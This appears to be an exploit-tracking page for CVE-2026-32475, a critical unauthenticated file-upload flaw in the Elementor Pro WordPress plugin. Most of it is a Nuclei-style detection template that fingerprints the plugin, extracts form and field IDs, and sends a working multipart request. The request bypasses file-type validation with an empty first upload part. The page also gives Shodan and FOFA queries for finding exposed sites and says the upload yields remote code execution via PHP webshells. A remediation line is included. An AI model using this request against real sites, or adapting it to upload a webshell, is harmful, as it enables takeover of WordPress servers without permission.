CVE-2026-32475: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler

2026-09-01 Unknown PoC Public

Description

Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.

PoC

id: CVE-2026-32475

info:
  name: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
  author: pdteam
  severity: critical
  description: |
    Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.
  impact: |
    Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells.
  remediation: |
    Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries.
  reference:
    - https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32475
    - https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE
    - https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2026-32475
    cwe-id: CWE-434
    epss-score: 0.02374
    epss-percentile: 0.83002
  metadata:
    verified: true
    max-request: 3
    vendor: elementor
    product: elementor-pro
    framework: wordpress
    fofa-query: body="/plugins/elementor-pro/"
    shodan-query: html:"/plugins/elementor-pro/"
    publicwww-query: "/wp-content/plugins/elementor-pro/"
  tags: cve,cve2026,elementor,elementor-pro,wordpress,wp-plugin,file-upload,unauth,rce,intrusive,vkev,vuln

variables:
  marker: "{{rand_text_alpha(12)}}"
  fname: "{{rand_text_alpha(8)}}.txt"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt"

    matchers:
      - type: word
        words:
          - "Elementor Pro"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    extractors:
      - type: regex
        name: post_id
        group: 1
        regex:
          - 'name="post_id"\s+value="(\d+)"'
          - '"post_id"\s*:\s*"?(\d+)"?'
        internal: true

      - type: regex
        name: form_id
        group: 1
        regex:
          - 'name="form_id"\s+value="([a-f0-9A-F]{4,16})"'
          - '"form_id"\s*:\s*"([a-f0-9A-F]{4,16})"'
        internal: true

      - type: regex
        name: field_id
        group: 1
        regex:
          - 'name="form_fields\[([^\]]+)\]"\s[^>]*type="file"'
          - 'type="file"\s[^>]*name="form_fields\[([^\]]+)\]"'
        internal: true

      - type: regex
        name: text_field
        group: 1
        regex:
          - 'name="form_fields\[([^\]]+)\]"\s[^>]*type="text"'
          - 'type="text"\s[^>]*name="form_fields\[([^\]]+)\]"'
        internal: true

      - type: regex
        name: email_field
        group: 1
        regex:
          - 'name="form_fields\[([^\]]+)\]"\s[^>]*type="email"'
          - 'type="email"\s[^>]*name="form_fields\[([^\]]+)\]"'
        internal: true

    matchers:
      - type: word
        words:
          - "elementor-form"
          - 'type="file"'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=WebKitFormBoundarySBDsMGAl
        X-Requested-With: XMLHttpRequest
        Accept: application/json, text/javascript, */*; q=0.01
        Connection: close

        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="action"

        elementor_pro_forms_send_form
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="post_id"

        {{post_id}}
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="queried_id"

        {{post_id}}
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="referrer"

        {{BaseURL}}
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="form_fields[{{text_field}}]"

        Test User
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="form_fields[{{email_field}}]"

        test@example.com
        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="form_fields[{{field_id}}][0]"; filename=""
        Content-Type: application/octet-stream

        --WebKitFormBoundarySBDsMGAl
        Content-Disposition: form-data; name="form_fields[{{field_id}}][1]"; filename="{{fname}}"
        Content-Type: text/plain

        CVE-2026-32475-PoC-{{marker}}
        --WebKitFormBoundarySBDsMGAl--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'

      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "not_allowed"
          - "are not allowed to access this page"
          - "permission_denied"
          - "invalid_nonce"
          - "rest_forbidden"
        negative: true

    extractors:
      - type: regex
        part: body
        name: upload_confirmed
        regex:
          - '"success"\s*:\s*true'
# digest: 4a0a00473045022100d084c6b3d9be5c5d218465ec63b5f6ed4cc6493fe0cbc1029b9377ae2e1059dc0220276dc05b191967482750fff2d002624f62800c48a97ee24692d746f23ea2c1e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.